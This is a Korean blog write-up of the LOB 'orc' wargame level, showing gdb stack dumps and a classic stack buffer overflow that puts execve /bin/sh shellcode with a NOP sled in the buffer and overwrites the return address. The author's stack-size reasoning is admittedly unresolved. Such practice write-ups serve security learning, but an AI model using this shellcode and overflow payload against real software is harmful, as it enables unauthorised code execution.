본문 바로가기
wargame/LOB

[포너블] LOB 4 - goblin

by 아메리카노와떡볶이 2021. 9. 30.
728x90
LOB 4 - goblin write up

이번에는 고블린 !

이번에는 오크가 보인다.

코드를 살펴보면 이전 문제들과 다르게 추가된 부분이 있다.

 

egghunter라는 주석이 있는 부분인데, 찾아보니 memset 함수를 통해 환경변수를 초기화하는 작업이다.

그니까 이 문제는 환경변수를 사용하지않고 풀어야한다.

 

그리고 입력인자에 조건을 걸어놨는데 

argv[1][47] != \xbf 즉 첫번째 입력인자의 48번째문자가 \xbf로 시작해야한다는 뜻

여기까지 정보만을 보고 대충 어림짐작해보면

버퍼가 40이고 int i 가 4바이트 sfp가 4바이트니까 48바이트를 더미로 덮고 RET를 주어야하는데

이때 47번째까지는 아무 의미없는 더미로 덮으면 되지만 48번째 문자는 \bf로 시작해서 RET 주소를 주어야한다는 것이다.

 

실제로 내가 생각한 스택프레임형태인지 확인을 한번 해보자

gdb로 까보기 위해 TMP 디렉토리를 만들고 복사본을 저장한다.

[goblin@localhost goblin]$ mkdir TMP
[goblin@localhost goblin]$ ls
TMP  orc  orc.c
[goblin@localhost goblin]$ cp orc TMP
[goblin@localhost goblin]$ ls
orc

gdb를 통해 까보면 스택이 \x2c 즉 44바이트만큼 생성된 것을 볼 수 있다.

즉 버퍼40바이트와 int 형 변수 i 를 위한 4바이트가 생성된 것이다.

(gdb) gdb ./orc
Undefined command: "gdb".  Try "help".
(gdb) q
[goblin@localhost TMP]$ gdb -q orc
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push   %ebp
0x8048501 <main+1>: mov    %esp,%ebp
0x8048503 <main+3>: sub    $0x2c,%esp
0x8048506 <main+6>: cmpl   $0x1,0x8(%ebp)
0x804850a <main+10>: jg     0x8048523 <main+35>
0x804850c <main+12>: push   $0x8048630
0x8048511 <main+17>: call   0x8048410 <printf>
0x8048516 <main+22>: add    $0x4,%esp
0x8048519 <main+25>: push   $0x0
0x804851b <main+27>: call   0x8048420 <exit>
0x8048520 <main+32>: add    $0x4,%esp
0x8048523 <main+35>: nop    
0x8048524 <main+36>: movl   $0x0,0xffffffd4(%ebp)
0x804852b <main+43>: nop    
0x804852c <main+44>: lea    0x0(%esi,1),%esi
0x8048530 <main+48>: mov    0xffffffd4(%ebp),%eax
0x8048533 <main+51>: lea    0x0(,%eax,4),%edx
0x804853a <main+58>: mov    0x8049750,%eax
0x804853f <main+63>: cmpl   $0x0,(%eax,%edx,1)
0x8048543 <main+67>: jne    0x8048547 <main+71>
0x8048545 <main+69>: jmp    0x8048587 <main+135>

이제 쉘코드를 어떻게 넣을지 생각해야하는데, 버퍼가 40바이트이므로 쉘코드를 버퍼에 삽입하기에 충분한 크기이다.

버퍼의 주소를 확인해보자

dumped 된 core를 생성시켜서 gdb를 통해 확인해보자

[goblin@localhost TMP]$ ./orc `python -c 'print "A"*47 +"\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿
Segmentation fault (core dumped)
[goblin@localhost TMP]$ ls
core  orc
[goblin@localhost TMP]$ gdb -q orc
(gdb) disas main

 

strcpy 다음 주소 에 브레이크를 걸고 esp를 확인

(gdb) b *0x80485c2
Breakpoint 1 at 0x80485c2
(gdb) x/20x $esp
0xbffffad0: 0x43434343 0xbffffb00 0xbffffb20 0x40013868
0xbffffae0: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffaf0: 0x08048500 0x00000002 0xbffffb14 0x08048390
0xbffffb00: 0x0804860c 0x4000ae60 0xbffffb0c 0x40013e90
0xbffffb10: 0x00000002 0xbffffc0e 0xbffffc23 0x00000000
(gdb) 
0xbffffb20: 0xbffffc58 0xbffffc6d 0xbffffc86 0xbffffca5
0xbffffb30: 0xbffffcc7 0xbffffcd3 0xbffffe96 0xbffffeb5
0xbffffb40: 0xbffffed1 0xbffffee6 0xbfffff04 0xbfffff0f
0xbffffb50: 0xbfffff29 0xbfffff38 0xbfffff40 0xbfffff51
0xbffffb60: 0xbfffff5b 0xbfffff69 0xbfffff7a 0xbfffff88
(gdb) 
0xbffffb70: 0xbfffff93 0xbfffffa5 0x00000000 0x00000003
0xbffffb80: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffffb90: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffffba0: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffffbb0: 0x08048450 0x0000000b 0x000001f7 0x0000000c
(gdb) 
0xbffffbc0: 0x000001f7 0x0000000d 0x000001f7 0x0000000e
0xbffffbd0: 0x000001f7 0x00000010 0x0f8bfbff 0x0000000f
0xbffffbe0: 0xbffffc09 0x00000000 0x00000000 0x00000000
0xbffffbf0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc00: 0x00000000 0x00000000 0x38366900 0x682f0036
(gdb) 
0xbffffc10: 0x2f656d6f 0x6c626f67 0x542f6e69 0x6f2f504d
0xbffffc20: 0x41006372 0x41414141 0x41414141 0x41414141
0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc50: 0x43bf4141 0x00434343 0x00000000 0x00000000

nopsled를 활용해서 페이로드를 짠다. 버퍼 40바이트 + int형 i 4바이트 + sfp 4바이트 + ret 4바이트

난 놉슬레드 10바이트 + 쉘코드 24바이트 + 6

r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`

 

(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/goblin/TMP/orc `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x80485c2 in main ()
(gdb) x/20x $esp
0xbffffa94: 0xbffffaa0 0xbffffc27 0x00000016 0x41414141
0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac4: 0x41414141 0x41414141 0xbfbfbfbf 0x00000000
0xbffffad4: 0xbffffb14 0xbffffb20 0x40013868 0x00000002

그럼 이제 쉘코드를 삽입해보자.

r `python -c 'print "A"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf"'`
(gdb) r `python -c 'print "A"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/goblin/TMP/orc `python -c 'print "A"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x80485c2 in main ()
(gdb) x/20x $esp
0xbffffa94: 0xbffffaa0 0xbffffc27 0x00000016 0x41414141
0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab4: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
0xbffffac4: 0x99e18953 0x80cd0bb0 0xbfbfbfbf 0x00000000
0xbffffad4: 0xbffffb14 0xbffffb20 0x40013868 0x00000002

앞에 A대신 놉슬레드로 바꿔주고 뒤에 쉘코드가 시작될 수 있도록 RET 주소를 준다.

r `python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf" + "\xa8\xfa\xff\xbf" '`

왜 인지 놉을 깔아도 안된다

 

뭐가 문제일까 

이럴때는 코어 덤프파일을 gdb를 통해 뜯어보자

 

./orc `python -c 'print "A"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf" + "\xa8\xfa\xff\xbf" '`
1󿿐h//shh/bin⏓ᙰ
              ̀¿¿¿¿¨௻¿
Segmentation fault (core dumped)

[goblin@localhost TMP]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./orc 1󿿐h//shh/bin⏓ᙰ
                                           ̀¿¿¿¿¨௻¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()

마지막 리턴주소가 bfbfbfbf로 된것을 확인할 수 있다.

내가 의도한대로면 뒤에 4바이트가 ret가 되어야하는데, 왜인지 맞지않다.

 

여기서 막혀서 인터넷에서 좀 서치해보았는데.. 버퍼에 쉘코드를 넣고 버퍼의 시작주소를 알려주는 한 줄을 추가해서

버퍼의 주소를 확인 한 뒤에 리턴 주소에 넣는 방법을 사용하는 걸 보고 굉장히 좋은 방법이라 생각이 들었다.

 

strcpy함수가 실행된 다음 버퍼의 주소를 출력하는 코드를 추가한다.

그리고 컴파일해서 마찬가지로 페이로드를 넣어보면

현재 버퍼의 주소가 출력된다.

[goblin@localhost goblin]$ gcc -o or0 orc.c
[goblin@localhost goblin]$ ./or0 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+ "\x90"*20 + "\xa8\xfa\xff\xbf"  '`

버퍼의 주소가 bffffac0 으로 출력되었다. 출력된 주소를 가지고 다시 페이로드를 작성하면 된다

[goblin@localhost goblin]$ gcc -o or0 orc.c
[goblin@localhost goblin]$ ./or0 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+ "\x90"*20 + "\xc0\xfa\xff\xbf"  '`

 

 

 

++ 아직 해결못한 것

처음 esp가 44바이트만큼 생성되고, sfp를 덮는 4바이트와 ret 주소 4바이트를 생각하면

48바이트의 더미와 4바이트의 ret로 페이로드를 작성해야한다고 생각했는데

44바이트 + ret 형식으로 페이로드가 작성되었다.

 

core를 까보면서 알게되었지만 core를 확인하는방법 외에 어떻게 해결해야하는지 잘 모르겠다.

 

 

728x90

'wargame > LOB' 카테고리의 다른 글

[포너블] LOB 6 - wolfman  (0) 2021.09.30
[포너블] LOB 5 - orc  (0) 2021.09.30
[포너블] LOB 3 - cobolt  (0) 2021.09.26
[포너블] LOB 2 - gremlin  (0) 2021.09.26
[포너블] LOB 1 - gate  (0) 2021.09.26

댓글